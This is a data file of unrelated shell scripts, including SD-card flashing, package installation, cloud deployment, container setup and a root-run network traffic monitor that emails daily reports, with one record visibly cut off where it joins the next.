mkfs.ext4 -F -L \"persist\" ${ALLWINNER_SD_SFX}1\nelse\n echo \"Keeping existing persist partition: KEEP_PERSIST is set.\"\nfi\n\nsync && sync\n\necho \"Flashing SPL...\"\n# note: either location is valid, flash both.\ndd iflag=dsync oflag=dsync if=$bootspl of=$ALLWINNER_SD bs=8192 seek=1 ${SD_FUSE_DD_ARGS}\ndd iflag=dsync oflag=dsync if=$bootspl of=$ALLWINNER_SD bs=8192 seek=16 ${SD_FUSE_DD_ARGS}\n\necho \"Flashing u-boot...\"\n# note: the second location is the \"backup\" location.\ndd iflag=dsync oflag=dsync if=$ubootimg of=$ALLWINNER_SD bs=512 seek=32800 ${SD_FUSE_DD_ARGS}\ndd iflag=dsync oflag=dsync if=$ubootimg of=$ALLWINNER_SD bs=512 seek=24576 ${SD_FUSE_DD_ARGS}\n\ncd -"} {"text": "matsaa93/arch-linux-system-config0\n#!/bin/zsh\n\nSoftware_menu() {\n\n # Software_menu\n #\n # TODO: add multimedia_menu\n # TODO: add software menu function\n PS3=\"$Software_menu_message\"\n select Software_menu_options in values back exit\n do\n case_menu_Software main_menu ${Software_menu_options}\n done\n\n}\n\n\nBuffer_Packages_list() {\n #\n # Buffer_Packages_list\n # TODO: add the Packages_Active_message & Packages_ALL_Active_message & AUR_Packages_Active_message & AUR_Packages_ALL_Active_message to message.sh\n #\n local x=$2; local pre_menu=$1\n for x in $2 ;do\n case $x in\n AUR_*)\n local y=$(echo ${x} | cut -c 5-)\n AUR_Packages_Buffer_list=\"${AUR_Packages_Buffer_list} ${y}\"\n print -P \"$CF[99] ${x} ${AUR_Packages_Active_message}\"\n print -P \"${AUR_Packages_ALL_Active_message}\"\n ;;\n back)\n menu_back ${pre_menu}\n ;;\n exit)\n exit 0\n ;;\n *)\n Packages_Buffer_list=\"${Packages_Buffer_list} ${x}\"\n print -P \"$CF[99] ${x} ${Packages_Active_message}\"\n print -P \"${Packages_ALL_Active_message}\"\n ;;\n esac\n done\n}\n\nInstall_Selected_Packages() {\n # TODO: add Install_Selected_Packages_message to message.sh\n print -P \"${Install_Selected_Packages_message}\"\n pacman -S ${Packages_Buffer_list}\n Packages_Buffer_list=\"\"\n}\nAUR_Install_Selected_Packages() {\n # TODO: add AUR_Install_Selected_Packages_message to message.sh\n print -P \"${AUR_Install_Selected_Packages_message}\"\n print -P \"$CF[99] ${Administrator_message} $CF[256]\"\n su -l admin -c \"yaourt -S ${AUR_Packages_Buffer_list}\"\n AUR_Packages_Buffer_list=\"\"\n}\nRepo_install() {\n local repo=$1\n print -P \"$CF[99] adding $repo as a new repo $CF[256]\"\n cat $pacc/$repo.repo >> ${pacman_conf}\n pacman -Syy\n\n}\nRepo_keyid_add() {\n local keyid=$1\n pacman-key -r ${keyid}\n pacman-key -f ${keyid}\n pacman-key --lsign-key ${keyid}\n}\ncase_menu_Software() {\n #local menuoption=$1; local preview_menu=$2\n # local option_amount=$2; local name=$3; local sublevel=$4 #menu level amnount of times to break to main menu\n preview_menu=$1 ;local menuoption=$2; local case_buffer\n # for menuoption in $menuoption_list; do\n case ${menuoption} in\n PACKAGE_*)\n case_buffer=$(echo ${menuoption} | cut -c 9-) && Buffer_Packages_list ${preview_menu} ${case_buffer}\n ;;\n REPO_*)\n case_buffer=$(echo ${menuoption} | cut -c 6-) && Repo_install ${case_buffer}\n ;;\n KEYID_*)\n case_buffer=$(echo ${menuoption} | cut -c 7-) && Repo_keyid_add ${case_buffer}\n ;;\n back)\n menu_back ${preview_menu}\n ;;\n exit)\n exit 0\n ;;\n *_*)\n menu_valid ${menuoption}\n ;;\n *-*)\n menu_valid ${menuoption}\n ;;\n *)\n menu_invalid ${option_amount}\n ;;\n esac\n # done\n}"} {"text": "opus-codium/puppet-commission\n#!/bin/sh\n/opt/puppetlabs/bin/puppet resource cron | sed \"s/ensure *=> 'present'/ensure => 'absent'/\" | /opt/puppetlabs/bin/puppet apply -t\n\nif [ $? -eq 0 -o $? -eq 2 ]; then\n\texit 0\nelse\n\texit 1\nfi"} {"text": "#!/bin/bash\nif [ \"$1\" = \"\" ]; then\n\tSOURCE_DIR=$(pwd)\nelse\n\tSOURCE_DIR=$1\nfi\necho \"Working directory set to: ${SOURCE_DIR}\"\ndocker run -it --rm \\\n --gpus=all \\\n -v \"$SOURCE_DIR\"/:/data \\\n -w /data linboot"} {"text": "#!/bin/bash\n#\n# This script puts data to Fuseki\n#\n# Set RUBYENV to the value returned from `rvm env --path` to make the script find\n# the RVM environment when run as a cronjob.\n#\n# Example:\n# 30 7 * * 1 RUBYENV=/usr/local/rvm/environments/ruby-1.9.3-p551@global cd /opt/datakilder && git pull uio master && ./tools/update-fuseki.sh humord | tee -a update-fuseki.log\n\n\nVOC=$1\nif [ -z \"$VOC\" ]; then\n echo \"Vocabulary name needed as first argument\"\n exit 1\nfi\n\nif [ ! -d \"$VOC\" ]; then\n echo \"Invalid vocabulary: $VOC\"\n exit 1\nfi\n\necho \"$(date +'%Y-%M-%d %H:%m:%S %Z') - Job 'update-fuseki' starting\"\n\nif [ -n \"$RUBYENV\" ]; then\n source \"$RUBYENV\"\nfi\n\necho \"Vocabulary: $VOC\"\necho \"Inferring and adding skos:narrower\"\npython /opt/skosify/skosify/skosify.py --no-enrich-mappings --transitive --narrower --no-mark-top-concepts --infer /opt/datakilder/$VOC/$VOC.ttl -o /opt/datakilder/$VOC/$VOC-skosify.ttl\necho \"Pushing data to Fuseki\"\n/opt/fuseki/s-put http://localhost:3030/ds/data http://data.ub.uio.no/$VOC /opt/datakilder/$VOC/$VOC-skosify.ttl\nrm /opt/datakilder/$VOC/$VOC-skosify.ttl\necho \"$(date +'%Y-%M-%d %H:%m:%S %Z') - Job 'update-fuseki' complete\""} {"text": "#! /bin/bash\nnode ../../output/index.js ../samplecomposition -r"} {"text": "#!/bin/sh\n#set -o errexit -o nounset -o pipefail\n\nPASSWORD=${PASSWORD:-}\nSTAKE=${STAKE_TOKEN:-}\nFEE=${FEE_TOKEN:-}\nCHAIN_ID=${CHAIN_ID:-testing}\nMONIKER=${MONIKER:-node001}\n\nrm -rf ~/.wasmd/config/gentx\nwasmd unsafe-reset-all\nwasmd init --chain-id \"$CHAIN_ID\" \"$MONIKER\" -o\n# staking/governance token is hardcoded in config, change this\nsed -i \"s/\\\"stake\\\"/\\\"$STAKE\\\"/\" \"$HOME\"/.wasmd/config/genesis.json\n# this is essential for sub-1s block times (or header times go crazy)\nsed -i 's/\"time_iota_ms\": \"1000\"/\"time_iota_ms\": \"10\"/' \"$HOME\"/.wasmd/config/genesis.json\n\nif ! wasmd keys show validator; then\n (echo \"$PASSWORD\"; echo \"$PASSWORD\") | wasmd keys add validator\nfi\n# hardcode the validator account for this instance\necho \"$PASSWORD\" | wasmd add-genesis-account validator \"1000000000$STAKE,1000000000$FEE\"\n\n# (optionally) add a few more genesis accounts\nfor addr in wasm1fjppc038udty5lquva2fc72967y4mchsu06slw \"$@\"; do\n echo $addr\n wasmd add-genesis-account \"$addr\" \"1000000000$STAKE,1000000000$FEE\"\ndone\n\n# submit a genesis validator tx\n## Workraround for https://github.com/cosmos/cosmos-sdk/issues/8251\n(echo \"$PASSWORD\"; echo \"$PASSWORD\"; echo \"$PASSWORD\") | wasmd gentx validator \"250000000$STAKE\" --chain-id=\"$CHAIN_ID\" --amount=\"250000000$STAKE\"\n## should be:\n# (echo \"$PASSWORD\"; echo \"$PASSWORD\"; echo \"$PASSWORD\") | wasmd gentx validator \"250000000$STAKE\" --chain-id=\"$CHAIN_ID\"\nwasmd collect-gentxs"} {"text": "dennislwm/gccode\n#!/bin/bash\n\n# Install apache to test HTTP port 80\n# apt-get install apache2 -y\n\n# Install Docker\napt-get update\napt-get install -y \\\n apt-transport-https \\\n ca-certificates \\\n curl \\\n gnupg \\\n lsb-release\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\necho \\\n \"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \\\n $(lsb_release -cs) stable\" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\napt-get update\napt-get install docker-ce docker-ce-cli containerd.io -y\n\n# Manage Docker as a non-root user\n# SSH to cloud then run these commands:\n# sudo usermod -aG docker $USER\n# sudo newgrp docker\n# docker run hello-world"} {"text": "#!/bin/bash\n\necho \"###\"\necho \"### Use C-a h for help\"\necho \"###\"\necho \"\"\n\nqemu-system-aarch64 -machine raspi3 -nographic -kernel kernel8.img -serial null -serial mon:stdio"} {"text": "docker-graalvm/centos/build.sh\n#!/bin/bash\n\n$JAVA_HOME/bin/native-image --no-server \\\n --class-path /project/target/environment-var-replacer.jar \\\n\t -H:Name=environment-var-replacer-centos \\\n\t -H:Class=com.github.arielcarrera.env.var.replacer.EnvVarReplacer \\\n\t -H:+ReportUnsupportedElementsAtRuntime \\\n\t -H:+AllowVMInspection\n\t\t \n#-H:ReflectionConfigurationFiles=build/reflect.json \\"} {"text": "tetutaro/gpu_docker_image\n#!/bin/bash\nnvidia-smi\npython /root/gputest.py"} {"text": "#!/bin/bash\n\nzip -r export.zip helpers/* serpico.rb model/* public/* server* templates/* views/* scripts/create_user.rb scripts/first_time.rb scripts/reset_pw.rb scripts/update_templates.rb"} {"text": "peajayni/pgmigrations\n#!/bin/bash\nset -eufx\n\npytest --cov=pgmigrations tests/unit"} {"text": "0\n#!/bin/bash\necho Login IBM Cloud api=$CF_TARGET_URL org=$CF_ORG space=$CF_SPACE\nibmcloud login -a \"$CF_TARGET_URL\" --apikey \"$IAM_API_KEY\" -o \"$CF_ORG\" -s \"$CF_SPACE\" -g \"$RESOURCE_GROUP\"\n\n# get latest plugins (1.0.32 of cloud-functions had an issue retrieving apihost)\nibmcloud plugin update --all\n\n# show existing namespaces\nibmcloud fn namespace list\n\n# get the namespace URL\nOPENWHISK_HOST=$(ibmcloud fn property get --apihost -o raw)\nNAMESPACE_INSTANCE_ID=$(ibmcloud fn namespace get $FUNCTIONS_NAMESPACE --properties | grep ID | awk '{print $2}')\nFUNCTIONS_NAMESPACE_URL=https://${OPENWHISK_HOST}/api/v1/web/${NAMESPACE_INSTANCE_ID}/${RECOMMENDATION_PACKAGE_NAME}\n\necho \"Cloud Functions host is $OPENWHISK_HOST\"\necho \"Namespace Instance ID is $NAMESPACE_INSTANCE_ID\"\necho \"URL to call functions is $FUNCTIONS_NAMESPACE_URL\"\n\n# Set app's env vars\nif [ \"$REPO_BRANCH\" == \"master\" ]; then\n LOGISTICS_WIZARD_ENV=\"PROD\"\nelse\n LOGISTICS_WIZARD_ENV=\"DEV\"\nfi\necho \"LOGISTICS_WIZARD_ENV: $LOGISTICS_WIZARD_ENV\"\n\ndomain=\".mybluemix.net\"\ncase \"${REGION_ID}\" in\n ibm:yp:eu-gb)\n domain=\".eu-gb.mybluemix.net\"\n ;;\n ibm:yp:au-syd)\n domain=\".au-syd.mybluemix.net\"\n ;;\nesac\n# Deploy app\nif ! ibmcloud cf app $CF_APP; then\n ibmcloud cf push $CF_APP -n $CF_APP --no-start\n ibmcloud cf set-env $CF_APP LOGISTICS_WIZARD_ENV ${LOGISTICS_WIZARD_ENV}\n ibmcloud cf set-env $CF_APP ERP_SERVICE https://$ERP_SERVICE_APP_NAME$domain\n ibmcloud cf set-env $CF_APP FUNCTIONS_NAMESPACE_URL ${FUNCTIONS_NAMESPACE_URL}\n ibmcloud cf start $CF_APP\nelse\n OLD_CF_APP=${CF_APP}-OLD-$(date +\"%s\")\n rollback() {\n set +e\n if ibmcloud cf app $OLD_CF_APP; then\n ibmcloud cf logs $CF_APP --recent\n ibmcloud cf delete $CF_APP -f\n ibmcloud cf rename $OLD_CF_APP $CF_APP\n fi\n exit 1\n }\n set -e\n trap rollback ERR\n ibmcloud cf rename $CF_APP $OLD_CF_APP\n ibmcloud cf push $CF_APP -n $CF_APP --no-start\n ibmcloud cf set-env $CF_APP LOGISTICS_WIZARD_ENV ${LOGISTICS_WIZARD_ENV}\n ibmcloud cf set-env $CF_APP ERP_SERVICE https://$ERP_SERVICE_APP_NAME$domain\n ibmcloud cf set-env $CF_APP FUNCTIONS_NAMESPACE_URL ${FUNCTIONS_NAMESPACE_URL}\n ibmcloud cf start $CF_APP\n ibmcloud cf delete $OLD_CF_APP -f\nfi"} {"text": "ChillerDragon/chidraqul4\n#!/bin/bash\n# Copyright 2018 ChillerDragon. All Rights Reserved.\n# Get the full official release at:\n# https://github.com/ChillerDragon/chidraqul4\n\npUsername=\"\"\nUsernameLen=0\nMaxUsernameLen=16\n\nfunction UsernamePrint {\n clear\n local i\n printf \"+\"\n for ((i=0;ip12redis/src/scripts/p1processor.sh\n#!/bin/bash\njava -jar ${project.artifactId}-${project.version}.jar \"$@\""} {"text": "#!/bin/bash\n# \n# Copyright (c) 2017, SingularityWare, LLC. All rights reserved.\n# Copyright (c) 2015-2017, . All rights reserved.\n\n\nNAME=`echo \"$SINGULARITY_IMAGE\" | sed -e 's@^docker://@@'`\n\nif [ -z \"${SINGULARITY_LOCALCACHEDIR:-}\" ]; then\n SINGULARITY_LOCALCACHEDIR=\"${TMPDIR:-/tmp}\"\nfi\n\nif ! SINGULARITY_TMPDIR=`mktemp -d $SINGULARITY_LOCALCACHEDIR/.singularity-runtime.XXXXXXXX`; then\n message ERROR \"Failed to create temporary directory\\n\"\n ABORT 255\nfi\n\nSINGULARITY_ROOTFS=\"$SINGULARITY_TMPDIR/$NAME\"\nif ! mkdir -p \"$SINGULARITY_ROOTFS\"; then\n message ERROR \"Failed to create named SINGULARITY_ROOTFS=$SINGULARITY_ROOTFS\\n\"\n ABORT 255\nfi\n\nSINGULARITY_CONTAINER=\"$SINGULARITY_IMAGE\"\nSINGULARITY_IMAGE=\"$SINGULARITY_ROOTFS\"\nSINGULARITY_CLEANUPDIR=\"$SINGULARITY_TMPDIR\"\nif ! SINGULARITY_CONTENTS=`mktemp ${TMPDIR:-/tmp}/.singularity-layers.XXXXXXXX`; then\n message ERROR \"Failed to create temporary directory\\n\"\n ABORT 255\nfi\n\nexport SINGULARITY_ROOTFS SINGULARITY_IMAGE SINGULARITY_CONTAINER SINGULARITY_CONTENTS SINGULARITY_CLEANUPDIR\n\neval_abort \"$SINGULARITY_libexecdir/singularity/python/import.py\"\n\nmessage 1 \"Creating container runtime...\\n\"\nmessage 2 \"Importing: base Singularity environment\\n\"\nzcat $SINGULARITY_libexecdir/singularity/bootstrap-scripts/environment.tar | (cd $SINGULARITY_ROOTFS; tar -xf -) || exit $?\n \nfor i in `cat \"$SINGULARITY_CONTENTS\"`; do\n name=`basename \"$i\"`\n message 2 \"Exploding layer: $name\\n\"\n ( zcat \"$i\" | (cd \"$SINGULARITY_ROOTFS\"; tar --overwrite --exclude=dev/* -xvf -) || exit $? ) | while read file; do\n if [ -L \"$SINGULARITY_ROOTFS/$file\" ]; then\n # Skipping symlinks\n true\n elif [ -f \"$SINGULARITY_ROOTFS/$file\" ]; then\n chmod u+rw \"$SINGULARITY_ROOTFS/$file\" >/dev/null 2>&1\n elif [ -d \"$SINGULARITY_ROOTFS/$file\" ]; then\n chmod u+rwx \"$SINGULARITY_ROOTFS/${file%/}\" >/dev/null 2>&1\n fi\n done\ndone\n\nrm -f \"$SINGULARITY_CONTENTS\""} {"text": "cmarincia/defold\n#!/usr/bin/env bash\n# Copyright 2020-2022 The Defold Foundation\n# Copyright 2014-2020 King\n# Copyright 2009-2014 , \n# Licensed under the Defold License version 1.0 (the \"License\"); you may not use\n# this file except in compliance with the License.\n# \n# You may obtain a copy of the License, together with FAQs at\n# https://www.defold.com/license\n# \n# Unless required by applicable law or agreed to in writing, software distributed\n# under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n# CONDITIONS OF ANY KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations under the License.\n\n\n\nBRANCH=message-flush\nURL=https://github.com/JCash/jctest/archive/refs/heads/${BRANCH}.zip\nPREFIX=./tmp\n\nwget -q $URL\n\nrm -rf ./tmp_unpacked\nunzip -q ${BRANCH}.zip -d tmp_unpacked\n\nmkdir -p ${PREFIX}/include/jc_test\n\ncp -v ./tmp_unpacked/jctest-${BRANCH}/src/jc_test.h ${PREFIX}/include/jc_test\n\ncd ${PREFIX} && tar czvf ../jctest-dev-common.tar.gz include\n\nrm -rf ./tmp_unpacked\nrm -rf ./tmp"} {"text": "#!/bin/bash\n\nexport NPM_FILE_PATH=$(which npm)\n\nmono .paket/paket.bootstrapper.exe\nexit_code=$?\nif [ $exit_code -ne 0 ]; then\n exit $exit_code\nfi\n\nmono .paket/paket.exe restore\nexit_code=$?\nif [ $exit_code -ne 0 ]; then\n exit $exit_code\nfi\n\nmono packages/FAKE/tools/FAKE.exe $@ --fsiargs build.fsx --log build.log"} {"text": "cotton-swab.sh\n#!/bin/bash\n#\n# cotton-swab.sh\n# Description: Watches all IPv4 broadcast and multicast traffic, and IPv6 link-local and multicast traffic.\n# Gathers daily reports of who sent what, classified by source IP and traffic type,\n# and sends an email with the stats overview.\n# Author: @NotsoanoNimus on GitHub <>\n# ##############\n#\n# TODOS:\n# - Dynamic subnet parsing, rather than assuming a /24.\n# - Variable-assigned tcpdump capture filter, rather than changing it in-place at the bottom of the script.\n#\n# Depends on: tcpdump, sendmail, dig\n#\n# INTENDED TO BE RUN DAILY ONLY.\n#\n# PARAMS:\n# $1 = Amount of time to run the pcap for, in seconds.\n# Must be less than or equal to 86000 (just short of 24h).\n# This can also be the '-n' flag, which attempts to parse the most recent report.\n#\n#\n#\n######################################################################################\n# MIT LICENSE:\n#\n# Copyright (c) 2022 \n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n######################################################################################\n#\n#\n\n\n\n# Forcibly set the PATH variable to a typical 'root' login shell's PATH\n# equivalent, since this is probably being called from CRON.\nPATH=\"${PATH}:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\"\n\n# Make sure this script is running as root.\nif [[ \"$(whoami)${UID}\" != \"root0\" ]]; then\n echo \"ERROR: This script must be run as the 'root' user. Exiting.\"\n exit 2\nfi\n\n# Run checks for dependencies. If one or more could not be found, issue an error and die.\nMISSING_CMDS=\nfor x in tcpdump sendmail dig; do\n if ! command -v $x &>/dev/null; then MISSING_CMDS=\"${MISSING_CMDS} $x\"; fi\ndone\nif [[ -n $MISSING_CMDS ]]; then\n echo \"~~ The script could not be executed because the following command(s) could not be found:\"\n echo \" ${MISSING_CMDS}\"\n echo\n echo \"Using PATH of:\"\n echo \" ${PATH}\"\n echo\n exit 1\nfi\n\n##############################\n# Global variables. These parameters should be adjusted per zone.\n### Misc.\n##### The device name of the NIC to monitor/sniff. This NIC should be in PROMISCUOUS MODE.\nMAIN_NIC=\"eth0\"\n##### The primary zone name being monitored. This helps to make reports clearer if you're running multiple swabs.\nMAIN_ZONE=\"Primary Internet DMZ (Example)\"\n##### The IP address prefix to use for monitoring the zone. For now, this assumes a class-C (/24) or smaller subnet on the NIC.\nMAIN_ZONE_IPS=\"172.30.22\"\n##### The domain suffix used for rDNS lookups and replacements. Do NOT end this with a 'dot' and do NOT use regex characters.\n##### This can be left empty if you don't expect names to resolve back to local hostnames when checked (e.g. 192.168.123.45 --> 'printServer01.mydomain.local')\nDOMAIN_SUFFIX=\"\"\n##### STATIC. DO NOT CHANGE.\nYESTERDAY=$(date -d 'yesterday' +%Y%m%d)\n### Email parameters.\n##### Whom to notify.\nNOTIF_TO=\"\"\n##### Source of the notification.\nNOTIF_FROM=\"\"\n##### Subject of the notification/digest.\nNOTIF_SUBJECT=\"${MAIN_ZONE} - Traffic Stats for ${YESTERDAY}\"\n### PCAP parameters.\n##### Folder in which pcaps are stored for manual review.\nPCAP_DIR=\"/root/packetCaptures\"\n##### Capture size limit before the script aborts the capture. This is checked at a regular interval.\nPCAP_LIMIT_KB=100000\n##### STATIC. DO NOT CHANGE THESE.\nPCAP_NAME_PFX=\"cottonswab-\"\nPCAP_PREFIX=\"${PCAP_DIR}/${PCAP_NAME_PFX}\"\nPCAP_DST=\"${PCAP_PREFIX}$(date +%Y%m%d).pcap\"\nPCAP_YESTERDAY=\"${PCAP_PREFIX}${YESTERDAY}.pcap\"\nPCAP_DST_PARSE=\"${PCAP_YESTERDAY}.dump\"\nPCAP_DST_STATS=$(mktemp)\nPCAP_NOTIF=$(mktemp)\n\n# If the pcaps dir doesn't exist, quickly create it and set its permissions.\nif [[ ! -d $PCAP_DIR && -n $PCAP_DIR ]]; then\n mkdir -p $PCAP_DIR\n [[ $? -ne 0 ]] && echo \"ERROR: Failed to find or create the PCAPs dir at: '${PCAP_DIR}'. Exiting.\" && exit 2\n chmod 700 $PCAP_DIR\nfi\n\n\n##############################\n# Function declarations.\n# Usage - Display HELP information.\nfunction usage() {\n echo \"USAGE: $0 {-n|dumpDuration} [email]\"\n echo \" dumpDuration: The amount of time in seconds to run tcpdump before ending the capture.\"\n echo \" -n: Don't run a capture, just interpret the previous report and send the digest.\"\n echo \" [email]: OPTIONAL. Overrides the static recipient for the notification.\"\n echo\n exit 1\n}\n\n# Check the given script parameters for validity. See script header.\nfunction checkParams() {\n # Allow an email address override, if a valid one is provided.\n [[ -n \"$2\" && -n \"$(echo \"$2\" | grep -Poi '^.*?\\@.*?\\.[a-z0-9]{2,}$')\" ]] && NOTIF_TO=\"$2\"\n # See if $1 is equal to \"-n\". See usage() above for info. Don't really care about using getopts here.\n NO_TCPDUMP=\n if [[ \"$1\" == \"-n\" ]]; then\n # Define a value for this variable, which flags a later check to disable running a new tcpdump process for this call.\n NO_TCPDUMP=\"true\"\n # Returns because the script shouldn't bother with param 1 if no pcap will run anyhow.\n return\n fi\n # Check that the parameter is a number and that it's <= 86000\n [[ -z \"$(echo \"$1\" | grep -Pi '^[0-9]+$')\" ]] && usage\n [[ $1 -gt 86000 ]] && echo \"ERROR: Parameter 1 ($1) cannot be greater than 86000.\" && usage\n}\n\n# Cleanup function for the exit trap. Removes unwanted leftovers.\nfunction cleanup() {\n [[ -z \"${NO_TCPDUMP}\" ]] && rm -f $PCAP_DST_PARSE &>/dev/null || echo \"+++ NO DUMP. Keeping the stats file at '${PCAP_DST_PARSE}' available. +++\"\n rm -f $PCAP_DST_STATS\n rm -f $PCAP_NOTIF\n}\n\n# Resolve all Link Local IPv6 addresses back to their domain hostnames, if possible. Same with IPv4.\nfunction resolveNames() {\n # Get all UNIQUE IPv6 Link Local addresses from the parsed/sorted file. FE80::/10\n local LLADDRS=$(grep -Poi '\\bfe[89ab][0-9a-f]\\:(\\:[a-f0-9]{1,4}){2,6}\\b' $PCAP_DST_PARSE | sort | uniq)\n\n # Use ping6 to get all neighbor/LL MAC addresses in the NDP table.\n echo \"$LLADDRS\" | while read addr; do ping6 -c1 -I $MAIN_NIC $addr ; done &>/dev/null\n\n # Sleep 2 seconds to allow responses and neighbor discovery.\n sleep 2\n\n # Get all fresh neighbor address lines.\n IP6NEIGH=$(ip -6 neighbor)\n\n # Add this machine's Link Local IPv6 information to the neighbors list.\n # Get NIC's MAC address. Don't want this hard-coded...\n local NIC_MAC=$(ip link show dev $MAIN_NIC | grep -Poi 'link\\/ether\\s+[^\\s]+' | awk '{print $2}')\n # Get all NIC link-local IPv6 addresses (cuts off the subnet masks, if present).\n local NIC_LLADDRS=$(ip -6 address show dev $MAIN_NIC | grep -Poi 'inet6\\s+[^\\/\\s]+' | awk '{print $2}')\n # For each LLADDR on the NIC, add it onto the IP6NEIGH variable (in a compatible format).\n while read localaddr; do\n # Replace the ip6 address with the current hostname and domain.\n sed -i \"s/${localaddr}/${HOSTNAME,,}${DOMAIN_SUFFIX}/gi\" $PCAP_DST_PARSE\n done <<< \"$(echo \"$NIC_LLADDRS\")\"\n # ^ This subshell trick was originally used for other code that was here -- just keeping it in case it's needed again later.\n\n # For each line, get the LLADDR and the MAC it corresponds to and replace the LLADDR in the temp/parse file with the MAC address.\n echo \"$IP6NEIGH\" | while read neigh; do\n local LLADDR=$(echo \"$neigh\" | awk '{print $1}')\n local LLMAC=$(echo \"$neigh\" | awk '{print $5}')\n # Ensure it's a MAC address. If not, continue and skip.\n [[ -z \"$(echo \"$LLMAC\" | grep -Poi '[a-f0-9]{2}(\\:[a-f0-9]{2}){5}')\" ]] && continue\n # Otherwise, do the replacement of the LLADDR with its corresponding MAC.\n sed -i \"s/$LLADDR/$LLMAC/gi\" $PCAP_DST_PARSE\n done\n\n # Get all Zone IPv4 addresses, ping them simultaneously to ARP their MACs. Wait 8 seconds for all to complete.\n ### TODO: Stop assuming a /24 subnet.\n for i in {1..254}; do ( ping -c1 $MAIN_ZONE_IPS.$i & ); done &>/dev/null\n sleep 8\n\n # Read in all ARP cache entries and get the following entry format: \"IP4 MAC\"\n local ARPS=$(arp -an | sed -r 's/^\\s*[^\\s]+\\s+\\((.*?)\\)/\\1/g' | grep -Pi '.*?\\s*at\\s*[0-9a-fA-F]{2}(\\:[0-9a-fA-F]{2}){5}' | cut -d' ' -f1,3)\n\n # Finally, resolve the IPv4 address back to the hostname and replace all MAC occurrences with the hostname.\n echo \"$ARPS\" | while read arpentry; do\n local IP4_LOC=$(echo \"$arpentry\" | awk '{print $1}')\n local IP4_MAC=$(echo \"$arpentry\" | awk '{print $2}')\n # Ensure the IP and MAC are valid, and if not, continue to the next one without replacement.\n [[ -z \"$IP4_LOC\" || -z \"$IP4_MAC\" \\\n || -z `echo \"$IP4_MAC\" | grep -Poi '[a-fA-F0-9]{2}(\\:[a-fA-F0-9]{2}){5}'` \\\n || -z `echo \"$IP4_LOC\" | grep -Poi '([0-9]{1,3}\\.){3}[0-9]{1,3}'` ]] \\\n && echo \" INVALID ENTRY: ${IP4_LOC} /// ${IP4_MAC}\" && continue\n local IP4_FQDN=\"$(dig -x \"$IP4_LOC\" +short 2>/dev/null)\"\n # If the dig fails or doesn't return anything, just use the IPv4 address.\n # Otherwise, strip off the trailing dot from the dig response.\n [[ -z \"$IP4_FQDN\" ]] && local IP4_FQDN=\"$IP4_LOC\" || local IP4_FQDN=\"${IP4_FQDN:0:`expr ${#IP4_FQDN} - 1`}\"\n sed -i \"s/$IP4_MAC/$IP4_FQDN/gi\" $PCAP_DST_PARSE\n done\n}\n\n# Parse the reports from yesterday and send out a notification email.\nfunction parsePrev() {\n # Parse the binary PCAP file into a tmp file.\n tcpdump -r $PCAP_YESTERDAY >$PCAP_DST_PARSE\n\n ####################\n # PRE-FILTERING:\n ### STRIP UNWANTED OR UNNECESSARY DATA USING SED. These lines can be updated or removed as desired.\n # Get rid of all raw hex/dump lines, if any appear in the digest.\n sed -ri '/^\\s+0[xX]/d' $PCAP_DST_PARSE\n # Delete any line matching a DHCPv6 request.\n sed -i '/> fc00:db20:35b:7399::5:2.dhcpv6-server:/d' $PCAP_DST_PARSE\n # Delete any line matching an Unknown LLDP MAC address target (802.1AB LLDP Address).\n sed -ri '/>\\s+01\\:80\\:c2\\:00\\:00\\:0e/d' $PCAP_DST_PARSE\n # Strip off all file timestamps from each line (and the IP protocol 4/6).\n # The reason the pcap runs WITH the timestamp is in case we need debug info.\n # This should also strip ICMP \"length\" and \"seq\" information.\n sed -ri 's/(^[0-9\\:\\.]+\\s+(IP6?\\s+)?|length\\:?\\s+[0-9]+,?\\s*|seq(uence)?\\:?\\s+[0-9]+,?\\s*)//gi' $PCAP_DST_PARSE\n # Remove any source port designation if it's (1) 5-digit and (2) not a commonly-known port (named).\n ### This helps with sorting and prevents having tens of different lines for the same traffic.\n sed -ri 's/\\.[0-9]{5}\\s+>/ >/gi' $PCAP_DST_PARSE\n ####################\n\n # Translate LLIPv6 addresses to hostnames in the \"parse\" file.\n resolveNames\n\n # Remove any blank lines from the parsed file.\n sed -ri '/^\\s*$/d' $PCAP_DST_PARSE\n # Sort the file, count unique occurrences, then swap the sorted file in for the old one.\n { rm -f $PCAP_DST_PARSE && sort -b | uniq -c | sort -bnr >$PCAP_DST_PARSE ; } <$PCAP_DST_PARSE\n\n # Get protocol statistics.\n PROTO_STATS=\n cat $PCAP_DST_PARSE | while read line; do\n # PROTOCOL_LINE = [port|svcname]_[type]=[count]\n local PROTOCOL_LINE=\"$(echo -n \"$line\" | grep -Poim1 '\\.[\\w\\-_]+\\:\\s+' | sed -r 's/[\\.\\: ]//g')\"\n ## If the regex for ICMPv6 is found in the line, manually set the protocol name.\n if [[ -n \"$(echo \"$line\" | grep -Poi '\\bICMP6,?\\b')\" ]]; then\n PROTOCOL_LINE=\"ICMPv6\"\n elif [[ -n \"$(echo \"$line\" | grep -Poi '\\>\\s+224\\.0\\.0\\.0\\b|\\base\\-address\\.mcast\\.net\\b')\" ]]; then\n 